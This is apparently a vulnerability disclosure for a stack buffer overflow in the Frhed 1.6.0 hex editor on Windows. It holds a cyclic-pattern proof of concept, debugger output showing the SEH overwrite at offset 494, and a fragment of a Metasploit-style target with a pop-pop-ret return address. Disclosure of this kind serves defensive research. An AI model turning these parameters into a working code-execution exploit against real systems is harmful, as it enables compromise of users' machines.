Frhed 1.6.0 Buffer Overflow

# Exploit Title: Frhed (Free hex editor) v1.6.0 - Buffer overflow# Discovery by: Rafael Pedrero# Discovery Date: 2022-01-09# Vendor Homepage: http://frhed.sourceforge.net/# Software Link : http://frhed.sourceforge.net/# Tested Version: 1.6.0# Tested on:  Windows 10CVSS v3: 7.3CVSS vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:HCWE: CWE-119Buffer overflow controlling the Structured Exception Handler (SEH) recordsin Frhed (Free hex editor) v1.6.0, and possibly other versions, may allowattackers to execute arbitrary code via a long file name argument.Proof of concept:Open Frhed.exe from command line with a large string in Arguments, morethan 494 chars:File '<Frhed_PATH>\Frhed.exe'Arguments'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4...'SEH chain of main threadAddress    SE handler0018FC8C   4136714135714134   *** CORRUPT ENTRY ***0BADF00D   [+] Examining SEH chain0BADF00D       SEH record (nseh field) at 0x0018fc8c overwritten withnormal pattern : 0x35714134 (offset 494), followed by 876 bytes of cyclicdata after the handler0BADF00D   ------------------------------                       'Targets'        =>                           [                               [ '<fill in the OS/app version here>',                                   {                                       'Ret'         =>    0x00401ba7, #pop ecx # pop ecx # ret    - Frhed.exe (change this value by other without\x00)                                       'Offset'    =>    494                                   }                               ],                           ],